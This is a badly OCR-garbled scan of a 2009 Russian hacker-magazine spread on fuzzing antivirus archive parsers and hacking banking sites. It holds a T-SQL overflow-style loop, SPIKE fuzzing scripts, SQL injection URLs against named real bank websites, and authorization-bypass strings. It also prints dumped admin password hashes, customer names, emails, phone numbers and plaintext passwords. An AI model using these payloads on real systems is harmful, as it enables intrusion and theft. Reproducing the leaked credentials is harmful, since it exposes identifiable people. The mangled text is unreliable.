Tl4. Hanplo1t~ep, Apal1Bepa cospeMeHHblx aHTl-1Sl-1pYCHbIX npoeKToB Kl-1WaT
@counter nIT
OWl46K8Mlil npl1 06pa60TKe >1CKJHOl.leHIo1I1, a TClK>Ke B pc:'8KLI,Ml-1 Ha GHeApeHl-1e aHOManl-1Y1. Tyr 1II Kaspersky Internet Security Ikl1.sys),
declare @retcode int,
@end~offset
101
Defence W2ll
[dwall.sysl. Avira Premium Security (avgntflt.sys), BitOefender Total
SET @buf = •
-=--nt.
Security 2009 [bdfndisf.sys), ZoneAlarm Security Suite Isrescan.sysJ. Panda Global Protection 2009IAPPFlT.SYS1, Internet Security 2009 (fsdfw. sysl. Ha3B8HHbie 06beKTbi 6bll1M nOpa>KeH bl c nOMOUJ,bKJ q>833vtHra IOCTL~
@vb_buffer varbinary,
3anpOCOB Cfl106blMLil MeTO,ll,aMlII BBOAa-ebIBo,n,a [0 KOTOpblX 5'l He TaK ,o,aBHO
@vb_bufferlen int,
ynOM~Hafl, onl-1CbISa5'l Y5'l3Bl-1MOCTb 8 ,n,pai1 sere PGPI. Ce~Yac >Ke TeMa s
@buf nVilrchar;
,n,pyrOM. nKl60~ aHTl<1Bt.1pyc nOAAep>KL-18aeT onpe,o,eJl€HHOe K0J1W1eCTBO
exec master .dbo. sp_replwritetovarbin 1,
pacnaKOBblBaHl-15'l TaKlIIX ¢>a~J10B pa3pa60T'-lMK.l-1 C1HT1II8\o\pyca '-laCTO nl-1wyT
apx~BHblX ¢>OPM8TOS ¢>a~.nOB IRAR,
ZIP, LHA 1II T.,ll,,). Dvt6J11olOTeKl-1 ,£VHl
8 AOKl1a,o,e Hac
@end_offset output,
CaMvt, \1 80T OHl-1-TO MoryT 6blTb no.o.aep>t<eHbl yR3Bl-1MOCT5'lM.
@vb_bufEer outp-:.It,
6YAyT l-1HTepeCOBaTb l-1MeHHO pacnaKOBll.ll-1 K\o1 apXl-1BHbIX tPopMaTOB <paYlJ108.
@vb_bufferlen output, .
B KayeCTSe MeTO,ll,liIK\1 npOSepK\1 Yl'l3B1<1MOCTeYl Mbl5y,o,eM lIIcnOflb30saTb re
SET@val = CHAR(Ox41)
Hepal\V11O ,n,8HHbIX. MeTOAbl reHepaLl,I-1l-1 MO>KHO p83.o.enlllTb Ha lIIHTel1l1eKTy
SE'f @counter = 0
aflbHble. Kor,ll,a y Hac eCTb cneLl,lII¢>lIIKaUIo1R TecTlIIpyeMoro ¢>opMaTa ¢>al1flOB,
WHILE @counter < 30CO
V1 HeV1HTeJl.neKTya.nbHble - Kor.o.a no,o,pa3yMesaeTCl'l. I.ITO Mbl HI'l4erO He
BEGIN
3HaeM 0 TeCTlIIpyeMoM ~opMaTe.
SET @counter = @counter + 1
SET @buf ::: @buf + @val
END
M
tffi ffl1 tl
KaK np8Bl-1JlO, npl-1l-1cnOllb30BaHl1lil HelilHTefllleKTyallbHoro MeTOAa reHepa L\l-1V1 Hy>KHO. 4T06bl,ll,0 H8'-laJla npo4eCCa reHep8L1,I'll-1 y Hac 6bl11 Hel1cnop4eH~
SET @buf ::: @buf + " , , ' '1' , , ' '1' , , ' '1' , ,
"1"
I'
'1",' '1",' '1",' '1",' '1'"
Hbl~ (l-1CXOAHbIYlIq>aYln
1. CJlYl.la~Hble ,o,8HHble. nO>Kanyi1, 0AlilH lot3 caMblX nplllMI'lTliIBHblX lil npOCTblx MeT0AOB. nepe3anlilCblBaeM 4aCTbAaHHbix l-1CXO,QHoro <pa~na CIlYl.lai1HblMlil
EXEC master .. sp_cxecucesql @buf XAKEP 05/125/ 09
AaHHbIM14.
~
047
»
~
8:: ..... 0M
~
b.
-o.-lW>w.
:;1~c:nAOUTOB
b.
1:11:::1 ••
~~ =:~~::J_=-' ::<::~~-::::.::;=::;..-::=-...=::"
OBOp
~
~~~
0630P 3KcnAOUTOB
s-binary(·41424344-);
0630p :;Kcn.·\OUTOB
!\ !\
s_block_end( ·somefiledata") ;
...::;;_-~~~':.':L.:;..----_. __._''''-----_.
CHJya11a CKpl>1nT Ao6aBn51eT 4 Hynesblx 6aCiT3 8 8bIXO~HOLii 6y<j>ep. 33TeM ,Il,06aSMlIOTC>l ew,e 4 6a~TCl (Ox414243441. nOCfl€ 3aSepWeH(;l~ 6110K3 4
....:;:::;.';'::-.:::;'::
==::::;:=.-::::;;,::::::-=:....:;..::=::=;?..:;·~:;;,:.:$..:7.:::-··-=--=.."";'_
.., -
. --_...
_.~-_.~-
nepSblX Hynesblx 6aCiTa 3aMeHI'lJOTCSl pa3MepONI 6110Ka B ascii-¢opMaTe.
Ha BblXQ,Qe nOflyyalOTC~ cne,QYIOLlIlJle .o3HHble: L..ABCD. nocJle Toro, KaK Mbl pa3pa60TaJ11>1 11lJlHeCi Hoe npeACTaGfl€HlJle ¢opMaTa q,a~Jla B BVl.oe
~._,~._-_.-_._
SPI KE-cKplJlnTa. Mbl MO)f(eM nOMeTIilTb HeKoTopb1e yaCTlJl :::Kpl>1nTa KaK
a lJlllO.QTsepllY1na B03MO)l(
«nepeMeH~tble»:
s_block_size_ascii_word_variable (. sOffiefiledata") ; / /
2. nepeCT<3HOBKa 6lJlTOB. Ka>KAbl~ pa3 npYl reHepau,I'lI'lIilCnOpYeHHoro ¢aiina
'{;'ICJ'lOBa:ii nepeMeHE<'l.H
s_block_start ( ~ somefiledata" ) ;
M8H>leM COCTO~Hl'le 61'lTa \t1CX0.o.Horo ¢ai.iJl3 Ha npOTltlBon01l0)l(Hoe.
s_binary_variable ( "41424344" );
3. 5flOYHbll:1 MeTO.o._ Ha cero.oH~WHYI~ AeHb - O.oIllH lJl3 caMblX 3epepeK
s_block_end("somefiledata·);
/ C':,·PO"'.OBGI.$1. nepeMeHHaSl
H1BHbiX MeTo.oOB reHepal.\l'llJl .oaH HbIX. Cpe.D,\.1 $a33epoB. nepSblMI'l peall1'l30Saew lJlX .oaHHbll1 MeTO})., 6blll SPI KE [sblnYU1.eH S 2002 )J,3BlJlAOM
SPI KE cop.ep)l(VlT Ha60pbl YVlC€J111l CTpOK [raK Ha3blsaeMbie «n110XlJle
A~TeJloMI. KaK pa60TaeT 6JlO'-lHbll1 ¢a33ep [Ha nplIlNIepe SPI KEI? 00106a
3HayeHlJlSl» I. KOTopble Mory-r 8b13SaTb c601<1
¢a33epa - 6JlOK !cnlllcoK CTpyKl)'P, COAep>K3ll..\lJlX lJlHepopMau,Y11O 0 p<33
Max, HanplJlMep, YV1Cfla: O. -1 ,4294967295.0.0x40000000,Ox7fffffff lJl
Mepe 6JlOKa
III
.o.pyrlJle npOlJl3B0J1bHble }).<3HHble). PaCCMOTplJlM npoCTo~
TeCTlJlpye MblX nporpaNl
T.n., crpOKlJl <,%n%n%n%n), ((\xDD», « . .1../..1..1../», CTpOKlJl Vl3 ClJlMBO .nOB 'A' pa3HoLii AflVlHbl.
SPlKE-CKPlJlnT:
B
B npou,ecce reHepaL\lJlVl,oaHHblx SPIKE 3aMeHR
eT OYepe)J,HylO «nepeMeHHyiO» YlJlCllOM lJlJllJl eTpoKo f1 10 Ha60pa nJlOXV,X 3HaY€HlJlCi,
o4epeAlI1 no.o.CTaBflSlTb 0, .. 1, nOTOM 429£,,967295lJl T.A. nocne Ka)KAO~
-l-'rbIliQwelJ.). l~
Te, BMecTO 4l>1Cno8oC'. nepcMeHHoLii SPIKE, 6YAyT no
s_block_size_ascii_word(·somefiledata·); s_block_start("somefiledata·);
He4Hbf~
UlJlKlllJl co BCBl'J
-s;;;. ~."lI"{COO
..PROTAmYtI.. r...WI......
ill F'PROTlane"'~
..
!/~....'"
9 .........
..
",."
lJl Toann pecvpc
ntiviruSHeoT
;lSI.! $ r'~!)$0'1% '~~4 "'r-~-""'~
- ._-,.
........
<11 _ _
<1M to ,-..... 10<.._
OOSW....
I11C5I ob.l?a3uoSOCTbtd.
.
I
.~ r - ~--- c.".~••_.. _..sc-o ............ ~,.,."."...,_
of_
~.
'-
000.....,1....
~
.
F~w
e--~
:~<b"'"
..... _ " " "
-- .... --- --
Sf""9'
'
Ih
''''>'9"_ ....".-1-,."'"
1I1
t.6I<'" •. W"fl!!ll!I
··• ,"'-•• 00
---.--- --
M'~
"" ""
'.IJ:l1<6
''''''.....
WlIOO
::
00
1.1 ......
.f?
...
I{/rb~-.
~
4\l.1U
'16'"'
I.''''U
waa
::~:: 2,';:10($
00 00 00 W 00 O(l
"''"' ',s".n;
~........,-.
00
'.tlfor;
~:'''
~
:~:
~
-.",.
~
~ .... ~••o
S't'lIl,M
ob25«_
MIT" ct>Z-.
~_
<N~
~
f~,",
',)Sf,",
','<ilI,",
v'
__••'" 1_ _ 1
D¢,_"~_"",,,
,,<)
l"",,,,,,""'00'"0
_ _.. _ / 6
1,6Ul1i
'.IZIIfCl;
1.$"'" 1.W1"li
00-_."
:~ ~;;;..J.J,.,r.~_:::=:a-
-,.
_ _.....
~"
Th-....
!<'Wo<"~"""".I""'"""N'I7''''
e- n-......,....
~
_""'P."",
r __ df"""""..
c.o-.
~~_~_~
~
too
N. lho_. 1_,...
~.~_
-~~
__ mftH $l'S1£M
mT(H
......
:.=~ ~:= <I>WM__
(1).'''''''
J"'I"P'ot\J..
-!.. I'~~
_,....
_ .... -...."'..",
'OCA'. SU"o'l<Z m![H
_
~
'.Q56>'06
s;:o ...
00 00 till <»
........ __
az:
<).>oo~f"
j.,,~"""
H
(;l
••
~
,-,~
SJ'UI;
:!,'_JilIII!!I,",~.,.l:"""
'"
- .J9IQY.,3Ka ueHTPa.nbHoro npoueccopa n04n1 MaKCl-1MaJ1bH
..-. Q
"
_~_I.'"
.-
~
N,to\\,••I,_W".I""
1_.
fiiiiiiiffiuiiiliWlAfJWUI"u ~
f
l>Ol... «Io .............,
0 0
~(wn~~.
,
" .. tv..""
_ _,
ljl<;:lO:J$I~~IO""
00=/& 11"12OOI1~'"
---""'-_
...
__.. a· .-,...'" .,,,,,,....,., f<f«.""
.........0 ••'"
§._ . .. _-_·_ .. ~o·'-0 ..
_
~:!!.':!
~
:1'$
03
l.<OlI1ti
~_
00
m_
..
11,1211Kl; '.S<'o(I; "'161:1'
~
en
'O.~1<i
OIl
OIl OIl
v., .. 1,"''''
. . -....
'''"''' M'::"'; ',::064 I,6.lII1S
<t:><_ d>2~
OIl OIl OIl 00
.. _..._
............. SVS'EM
00:,'''''''
00 " .....
'-.0" fP«<T'".'''''
LOUIl:ll.O'tla':
~,,'O
''XA'iU.'IlO:
00 00 OIl 00
-.... _ .••• 0'\1.....
_.-
O~
048
---"0"" ·4 tl>Z_
_M.O>O,-<Slt;>< _ '.._ d>l_ _ ... Mm<
_..",
~
~
~~f<.IcTPO"O.':";;'~'"
d>2-. ~
~
.......
~_:sot"'lC£
....
.. _ _ --.-.-
l,ll56Q ",<$1<$
..'.-K' ,.......
I,,",,'"
I~_,I
_. , ---_.· -----_. .. - ·· ,- .... _ _,....
"" ..,..
~M· ~ ~M'~ ~~~~-
new•.-
~M'~
4
fUJI""",.'"
-----
'"~
4Il
• 'SSM •• ,..,. I •• ,= I. •• ',1'11'" l.~'"
S,l"~
\._'<1 ,~-
S.nl'"
•• •
s,~
...
'MOO
I,":""
XAKEP OS 11251 09
063;°P
05S0p
3KCnAOUTQS
3KCnAOUTOS
,
1\
_............... _-..
....... .... -.,_. ".,,"""'"
--,_ ---
.... <Iol_ ...........
.......-,... _ ..._<1>.\
_ _ _ \"OII>_'}
....... .......
.... _"""-"'""''-''
-_. --::::::: --
'-"-'--~-~~"~
,._,."" \.
...."..".
"'''''''_ .,., .
_.or._ -~
_t:<o
..-,..",.
~~I
_ _ J."'-"-'
rWe -~3a CT bJH W B
--
~~
J:-'
~
0 0
0 0
m'~
m_ ~-
\!0
~~-
~.~
0 0 0 0 0
~~ ~" ro_
O
~
0
a
aT
,--
,~-
.....
0
l.'~G
~
A60HEHT BCErAA B BbIlo1rPbIWE!
••_ 4
"'''''''' ','.'" t,'"''
t,_"" >,"'''' '.",,<f ~,~'"
':0$}
;'~~.
.~ ,~~
He
" TBKOj;! 3aMeHbi SPIKE 3arH1CblsaeT BblxoAHble AaHHble 6 O"lepeA HOi1 epai1.n. Am! 10"0 4106b! He ,D,I1CKpe,D,v1Tl-1pOaaTb pa3810Hlile VX KO,D,ep08 111, COOTBeTCTBeHHO, 8€H,D,0P08 aHH1BI1pyCHbiX KOMnaHlilL4. Ha MeKaKJ Ha TO, "ITO no.o06Hoi1 «e,D,oC1» .0.11" 8HTlt1811lpyca MO)KHO 3aseCTI1 ere B 5eCKQHe4Hbli1 lJ,Io\KllltlJlltl OTKa3 8 06CJlY>KltlSaHltlltl. 3TO Ha611KJA8CTCS1 11 e NOD32 co BeeMIil nOCJle,D,HI1M\1 06HOBl1eHI1 "Mill. CXO>Kl1e Y>l3BI1MOCn1 6bl1111l o6Hapy>KeHbI B: .- Bitdefender Antivirus 2009 - Hecnoco6HoCTb KoppeKTHo o6pa6aTbI Ba1b CAB-apxlilBbl; • Avast! - HeKoppeKTHa51 o6pa6on:a RAR-apxlIlsos: • Fortinet - HeKoppe,<:THa" o6pa6oTKa apXltlB>1pOBaHHblx q,aiilJlOB. n03KCnep!o1MeHTlt1pOSBTb COB€TylO c q,a33\.1HrOM clleAylOl.J.Ilt1x ¢opMaToe q,ai1!lOs: Zip, Zip SFX, ARJ, ARJ, SFX, TAR, GZ. ZOO, UUEncode, TNEF. MIME, BIN HEX, MSCompress. CAB, CAB SFX,
LZH, LZH SFX, LHA. RAR. RAR SFX, JAR, BZ2, Base64. Mac Binary.
ASPack. OHM. DOC, EML. EXE, FSG. HLP. PDF. Yoda. ELF. PPT. GPO. 3a6asHbli1 nplilMep - .oa8H bl M-,D,aOHO aHTlt1B~pyc F-Pot He aHa 11J.13lilpOBaJl3anap0l1eHHble 21 P-apxlt1 Bbl. 3TO 6b1Jlo 04eHb JlerKO OTeJleAIoITb, nOTOMy 4TO n\.1CbMa CanayaMI1, npoxOAlt1BWlt1e 4epe3 npO,D,yKTbl F-Pot IE-mail Gateway sea nner, Knpl.1Mepyl. npltlXOAlt1Jl/.1 n0J1Y43re;1lo CMO.ol'lq,lt1L1l11pOS3HH0i1 TeMoi1, K KOTOpOi1 Ao6aSMlJlaCb cTpoKa «Attachment not scanned».
m6 iHiQ • ESET Smart Security4 • ESET NOD32Antivirus4 • ESET Smart Security 4 Business Edition • ESET NOD32 Antivirus 4 Business Edition • ESET NOD32 Antivirus for Exchange Server • ESET Mail Security • ESET NOD32 Antivirus for Lolus Domino Server • ESET File Security • ESET Novell Netware
• ESET DELLSTORAGESERVERS • ESET NOD32 Antivirus for Linux gateway devices
Mffiffifflfil YH3Bl.1MOCTb 06Hapy;t:;eHa Tbeplt1 30JlJlepOM [blag.zoller llll. HO nOAPo5HOCTlt15b1Jll.1 pacKpblTbl Henocpe.oCTseHHo TOJlbKO BeH AOPY. Y/:ll.1BIHeJlbHo. HO peaKlJ,'HI ESET OKa33flaCbAOCTaTO"lHO xopowei1 (flblnycK o5H0811eHltlH no \.1CTe"l€H \.1 \1 14 AHei1 - ~ !:Qm/supDort/updn!es ohp?pageno=31. "10 rOBOplt1T 0 rOTOBHOCTlt1 KOMnaHl.1V1 C0611KJ/:laTb paMKl.1 SOL lt1 nOA,D,ep)l(l.1SaTb 6e30nac HCCTb npoAyxTOB.::JC
XAKEP
os 112S/
09
. ..
...... E:3 ..... 0M
...
~
I NQNAME;
-.. -..
•-.- 83AOtv1
,•
~
=
--
• --• • •-
, , ,
,• ,
AKOI1 BbIBOAAAET"IETKO nOHHTb, rAE H~XOAI1T CHOCHOBH0I1CEPBEP6A3AAHHWXCOBCEI1I1H ll>oi1. nOTOM nOT IP'WHI1K MACCI1POBAHOATAKO BAJ1CH ~ (! T'-~)'~';;';;;';~
COOTBeTCTBeHHO. peaJ1l.13aLl,lII~ aTaKIo1 HanpSlMylO 3aBIo1ClnOTnOSeAeHL1Sl Kfll1eHTa l-1 ere
no, He
¢aKT. "ITO. ,Qa)Ke eCJllIl 3J10SpeAHylO CCblJ1KY OTKpO
fOT, xaKepyynenH KpVln'l'-lHble AaHHble.
80 MHOr>1X
C08 peMeHHblX 6pay3epax npli1cyrCTByeT WTaTHaS1
statebank189S.com/news.asp?id
enrollment mvzwt tumv 16 On 1. ine Enrollment 1 0 Business .Online@ StateBank1898.com 0 holY I ik 15 Contact Us 0 1 Net'T'eller@ statebank1898. com 0 admin Oqjjm{ [us{9@A@4 Admin 0 0 jlott@gibbes.net 1
~6~AND+l=2+UNION+SELECT+O,tabl
e_oame,2,3,4,5,6+from+information_ schema. tables~WHERE·~table_ schema=%27sbthappyrudie%27
3aLl\L-na OTTaKOro pOAa Hanacreiii IX5S-¢li1JlbTP ... aHTWpYlWlt1HfOBbliii 4>!M1bTP e
nJlart1H
Mozilla,
OTKJllOyeHL1e
IE8, NoScripl
JsL n03TOMY
H83S8 HL.1>l Ta6Jll.1l.J, OK,nal1l.1Cb BeCbM8 \o1HTepeC HbIMIIl: zipcode. users. uploads_navlile. uploads.
cne.o.ylOLl\ev. u,e.nblO 6blJ10 Haf'ITl-14TO-TO nOllY4we.
states. rate_watch. press. onLine_banking. masler.
V1 el1\e KOe-YTO, 4TO B ony6nl-1KoBaHHOM BIIl,ll,e Bpl'l.o.
Hanpl-1Met:l. 3KcnJlyaTaUl11IQ SQL -injection !.jepe3
faQ....calegory. faq, custom. content. brdnch. banners.
J1~
napaMerpl-130eaHHbfiii fllt1HK
npOCMOTp K0J10HOK Ka>I<Abl~ pa3 0CYU.l,eCTSnSlJ1Cl'l TaK:
KOMMep4eCKMe T8(:1Hbl 38 Ka.o.POM
6bl nOHpaSV1J1OCb C6 3Toro 6aHKa. GCTaBl.1M
http://~~1.statebank1898.com/news.
statebankl898.com/news.asp?id~
asp?id=6 '
6+AND+l~2+UNION+SE[,F:C'T'+O,colum
UEJlb: UNIBANKHAITI.COM (<!lPAHUIo1H)
Miccosoft OLE DB Provider for ODse
n_name,2,3,4,5,6+from+information_
31"OT CTpaHHblH Q>P8HKOSl3bI4Hbl~ 6aHK, npV1Kpbl
Drivers error '80040e14'
schema.columns+WHERE~table_
BalOll~l-1(:1cSl3aKOHaMl.1
[MySQLl [ODSe 3.51 Driver)
name=%27online_banking%27
MeYTa. Wyn<a. Cl.1TYd~l.1l'1 TyT aHanOrl'lYHal'l. TOJ1bKO
[mysqld-5.1.30-community)You
have an error :"n your SQL syntax; check the manual thaL corresponds to your MySQL ser'Vl:!r version for
the right syntox to use near" ORDER BY post_date DESC, id DESC' at line 1 /news.asp, line 54
ramlil- MOP, KplIlMIIlHaflbHap,
SOT HV1 O,D,V1H 38npoc. .o.a>Ke npocTei1Wl-1Ii1, He
IIlC~
OTseT 6a3bl: sort_order.logon_urL id. active.
nOflHl'lflCl'l Hy>KHbIM MHe 06pa30M.AeJ1o B TOM. <.;TO
account.
pa3pa6oT4MKaMM CV1CTeMbl6blna 3a.nyMaH8 li1,ll,el'l Wli1tPPOB8HII151 ,a,aHHbIX, XpaHSlU.l,li1XCl'I BTa6nl.1l\dX.
statebank1898.com/news.asp?id= 6+AND+l=2~UNION+SELECT+O,coltlm
unibankhaiti.com/actualites/index.
nJlame,2,3,4,5,6~from+information_
php?id_article=464~AND+l~2+tmION+S~
schema.columns+WHERE+table_
LECT~O,CONCAT(Ox7873716C696E6A6265
name~%27users%27
6"7696E, (SELECI'.fCONCAT_ws (Ox3a3a. %20
Y3HaeM n0J1b30BaTenl'l:
table_name,version())+FRoM~informati
OTse-r 6a3bl: username. password. Id. lull_name. statcbank1898.com/news.asp?id=6~A
form_enrollment. form_contact. email. active
ND+l=2-L~ION+SELECT+O.user()
OCT8nbHbie AaHHble He oc060 S8>KHbl. KCTa1l.1. KaK
,2,3,
Bl.1Al.1Wb. napaMeTp c 6a;j0~
4,5,6
1'1
oT6pocl.1n. nOToMy
ou-schema. tables) ,Ox78B'716C696E5A65 6E64) ,Ox'll) ,Ox71) ,2,3,4,5,6,7,8,9 Te)l(e caMble warM no pa3seAKe KonOHOK npo
'"lTO Mbll.1T8K HaXOAV1.nl.1Cb S3T011683e. OAHI1M
,oenblB8Tb He 6blJlO cMblcna. n03TOMY - cpa3Y
GTseT 6a3bl - «sblhappyrudiera208, 109.78.117»
3anpocoM l'I3anony4V1.11 Bce V1HTepecylOU.l,ee 1113
pe3YJlbTaT. KOTOPbli-16bIJl nonyYeH 3d 5 Ml.1Hyr:
- rOBOpHJl OTOM. "lTO Bce KpyrV<JlOCb+sepTe
Ta6nl-1l.J,bl nOflb30S8Tenei-1:
nOCb Ha Y,l\aneHHOM cepsepe. a He o¢caC1TC (64.202.178.1621. rio JlorlllKe seU\e171. TaM ,a,on>KeH Kpyn1TbC>l
npo~ecolllr. SWIBJ1f1eMbl~
no Hallll1
'"H11O scero ASYX nopTos (443~ssl, 21-ftpl:
statebank1898.com/news.asp?id=6+AN D+l=2+UNION+SELECTTD,database(),2, 3,4,5,6
stat0bank1898.com/newS.Bsp?id=6+AN D+l=2~UNION+SELECT~O,concat(userna
me,Ox20,password,%20id,Ox20,full_ name,Ox20,form_enrollment,Ox20,foDm_ contact,Ox20,email,Ox20,active) ,2,3, 4,5,6+fr'om+users Pe3YJlbTdTOM S3f10Ma I1SMnOCb:
OTseT6a3bl -«sbthappyrudie». I.1TO BKOHe4HOM l-1TOrel'l HnOACTClSHJl BCJ1eAYIOU.l,IIl~ 3anpoc, Cu,enblO Bblse.o.aTb, KdKl.1eTd6J1L-1u,bl HaXOAIIlJlIllCb B5a3e:
Tt,'ithers 0 0
6a3a: uniban2_DB ['r-able: Columns)
(O]staListiques: id,username,type_d ction,date,heure,page,ip,host,navi gateur,referer (llsuccursales: id,statut,nom,desc ription,adresse,directeur,telephon e, fax, reseau, inaugurat ion, horaire, services (2Jt,;l([iches: ID,source,lien,debut,fin,place (3]tagences: id,statut,nom,descript
»
,: !
B::AOM
-_ . _-.--
I
-
<:" ,,' --,... 0, -
;;_.~~.:'_
•
., !_.. _ _
8"'" nNl""M (In",lid no.. n~..,.)
=
:----~-~~ r-
rr.;;;;;=..-;;,~:.
np~MEPHOTAK M01R;T Bblr11HAETb npOUECClfH",
4ETbiPE OCHOBHblX n011b30BATE11H B CIo1CTEMEVn 10111101 TPAAIo1~1010HHbllo1 EMPLOYER' LOGIN. 310T IP Mbl PAB11EHIo1H 6AHKA. VHAC ECTb 4E110BEK 1013 OTAE11A BbIVAI1111011o13 6A3bl AAHHblX nOC11E npOBEAEHIo1H jvnPAB11EHIo1H n11ATE>KAMIo1(ONLINE ENROLLMENT). SaL-INJECTION~ • . KTO-TO BPOAE CEKPETAPH 101 AAMIo1HIo1CTPATOP
!
~·~:...;E~o:-;~
--:,
\
.:7.. _'::'.'::" ~~
.~
'!
.• _ _
--'.--'
~ -::::-;.".='
.•.
,::~
;.f..-::~--"~
~
~
~·.",,",,-Ol
=:;:::~----_.
..~-
:::,';,,:,,""-~
=~r:~.= = -:::r== ~.~
::::::::-...':~-~
..,.
.:;.:::::--:;.-=::::.;.'-=.~--~--
=.---=::=-.=-.. ~=_."-,-.---
nopolo1 AlJrAAATbCl1lf5YCnEWHoCTIo1 ri0,D,60PA KO OHOK TPVAHO, OC06EHHO, EC 11 101 Tbl 06PAlllAEWb BHI1MAHIo1EHABHEWHIo1~BIo1ACA~T
ion,adresse,dlrecteur, telephone, fax,reseau, inauguratio n,horaire,services [4]tannonces: annonceID,image,titre,libelle,date,pos te-par,actif
nOA06HAH ABTOP'113A~IHIHEBEAETHIo1 K YEMY XOPOWEMV
irecteur,telephone,fax,reseau,inauguration.horf.lire,se rv~ces
[ll)ttaux: id,date.ac~at,vente,brh [12)ulilisateurs: id_utilisaceur,log,pass,droits,acces!
[5!tdscLuces: AstuceID,titre,accrochc,contenu,modifi e-par,modifie_le,actif (6)tcatfaq: id_cat,categorie (7)temploi; id_orticle,image,date,titre,accroche,conte nu,expirdate,ecritpar,postepar,accif [8Itfaq: i~faq,id_cat,question,reponse [9jtnews: id_article,image,date,titre,accroche,contenu ,expirdate,ecritpar,postepar,dctif [lO]tsuccursales: id,statut,nom,descriptioI"adresse,d
MOl-1 n03HaHl-151 q,paHL\Y3cKoro - Hynesble, 1-10, np\.16erHYs KnOMow,V1 OH.na~H-nepeBOA4Io1Ka. >1
cpa3y nOHSIfl. KaK251 Ta6n III lola l-1 KaKltle ;;:0;10HKIII MHe
Tpe6YKJTc>l!cMOTpl-1 121
[OJ 1:manitou:[6812478366f92bf385d8b611152ec74:7777777 :indcx.php: [1l
2:newsmaster:9ca43771207861aOdd00956bb~03a95a:7777
77:admin_oews.php: [2] 3:ratemaster:dd8f54c23ee127997146671e7elfOelb:0003 OO:admin_succ.p~p:
&
Pros 8:.
[3] 4:ratemaster:dd8f54c23ee12799714d671e7elfOelb:0007 OO:admin_succ.php: [4) 5:reseau:117ba14f8471a7ec247bbCf7112ebbaf:001100:i ndex.php:
Cons B IJcno."'.J:.::I)E:.EtHIJIJ
.E18TOh1.:STIJ3IJPOB.:SHHbl>::
eRe '~(:T8
'JA;:( SI:JL -injection
8 CTaTbe l'I He npVl6eraJ1 j( aSTOMan13l-1p08aHHbIM cpe.QCTBaM, \.1 TOMy eCTb pl'lf\ 06beKTl-1BHblX npIll4l-1H. Pa60Ta PY4K3Ml'1 ynpa>KHl'IeTT80l-13HaHlo1l'1. Vl ell.\eTbl caM Sl8JlSleWbCl'l rapaHTOM 8cero, 4TOAenaeTCtI KOCS'lKSQL
&
Injection Pentestmg Tool ISIPT) 3ClKJ1i04aeTCSl 8TOM. '-ITO Kor,Q3 X04eWb no.nY"-ll-1Tb cnIllCOKT36nl-1~ WIlli A3HHbie 1113Ta6J1l-1~b1 npl-1 8KJ1IOYeHHO~
Pan'lQli!:t Kl-1TaliicK3f1 XlI1pOM3HTII1Sl, 3 90% CllY4aes orlpeAemllOU\a
raJ1Ke LIMIT, TO AaHHbl€ B03Bpaw.aTbCI'I He 6YA'fT. ECJ1l'13-ryon4l'\iO CH5'lTb
l'IC5'l KaK nacc-rpa66ep. Ha C3MOM >Ke jJ,e.ne. :no n04H1 yHlII8epeaJ1bHaSl
- see pa60TaeT npaSIIIJ1bHO. no c.nosaM p33pa6oT'1I11Ka SQLHACK. 21TO
yn1J1l-1Ta AJl51 3KCJ1110C1U1Hra SOL-injection cpa3Y 8 pl'l,ne 6a3IMySQL.
e.o H€IJ,O,!J,enK3.
MSSQL, Oracle. Sybase. 082. Access. Inform ix, PostgreSQL, SOUte).
\, ,/, ~052\'~ ,;,.,,~; ....0i'7
~,:J< I
~;1~": t~~~t·
.... .....
.
r;;:;-- ==-~.-
._....
~~~-~.~,
~_.,.....-.
.........-..
B3ll.0t-.·1
_.
. ."'-_._
----.~--_.
W,.....-.. __ ........ _W•• _·...._ :__ ~
...
."M.~.-'_
-,
~,
:::-:i-~'--:r:=
•
-"-~i
It",-":-:
""'" HAMJ,1 «CHAMBER'S BANK». XAJlATHOCTb nEPEA npJ,1 npOEKTJ,1POBAHJ,1J,1 OTKPblJlA B03MO>KHOCTb 3JlOYMbIWJlEHHJ,1KY npOBECTJ,1 Sal-INJECTION, A AK>KE HAiIITJ,1 CPEACTBAynPABJlEHJ,151. OCTABJlEH HbIEAAMJ,1HJ,1CTPATOPOM Martin:Fankhauser:Atlantic f'orfaitierungs AG : Qthmarst.rasse 8:8008 Zurich:NoDatalnColu
----=-"'..
__
------ _._ ... ..._---------- ---
BOT. BAap OT MeH~, nO,ll,60pKa cneqlo1aJlbHblX Bbl paA<eH"~.
KOTopble MOryl 6blTb 04eHb KCTaTVI nplo1
npoBe.o.eHIilL.1 aTaK TaKora p0,[la:
mn:&~itzerland:fankhauser@
-~---_._---
otlanticforfaiting.com:
=;.-.:==--_._-~_.
pass: atlant ic
Giorgi:Kekelidze:TBC Bank:Marjanishvili 7:tbilisi:Ol02 :Georgia:gkekelidze@tbcbank.com.
nbITAEMC51 PEAJlJ,130BATb «AUTHORIZATION BYPASS»
or·1'='1·or'1·=·1·. 'or'l'='l'or'l'='l or or
[51 6:reseaUl:cb1bbcd4b4b47894aOe6d
pass: IOio{OOOO
b706fh415c2:007700:index.php: [6] 12:drhl:841eb977300a2d84ab2ccE8f 9077f1eO:000007:index.php:index.php:
Tamar:Ramishvili:TBC: 0102:NoDat
admin- or -a-:::-a ad'llin" or 1=1 adrnin' or 1=1 admin' or 'a'='a
arnColumn:Geo:tramishvili@gmail.
admin') or ('a'='a
com:hkj1d hupi:
admin") or ("a-="a
Pass:tata
a"'1)-
ge:+99532272727:+99532774772:
~EJ1b: TBCBANK.COM.GE (rpY3~f1) BHIilM8Hl.1e. nOToMy YTO O,IJ,Ha>KAbl, KorAa >l nporn>l
llEJ1b: DASFLA.CO.M 1ME>KAYHAPOAHbl ~ I
AblBannorlil ,o,pyra, 6ecep,yrl Ha TeMYIo1H¢OpMa14KOH
no CyTlil. 0AIttH Itt 3 flVlAepoB
HOYl6030nacHocTVI 6aHKoscKoro ceKTopa. MHeCTaflO
CIttHra. TeCTlo1pyeM rJl8BHYlO <POpMy aSTopIo13aU~1>1
04eBV1,[1HO, 4TO ,[IaHHble 8sTOp;13all,1il1il nOJlb30BaTeJl5l
Ha npeAMer«authorization bype5s»: dd~tla.com/
COllVlAHbll1 rpy:3Io1HCKl.1i16aHKI AasHo npv1!3JleK Moe
nepe,o,aiOTC>l B He3awlo14>poBaHHOM BIo1Ae'
lQ.
In
B c<pep€" ATM-npo14ec·
c.ra.;px.
A8Toplo13101pyeMcR C AaHHblM\1' tbcbank.co~.ge/irl
main,php?lang=eng&id= 80&actio~=1&uname=a1exander.
khazaradze%40statestreet_ corrhupass=xkoqna&OK=Login
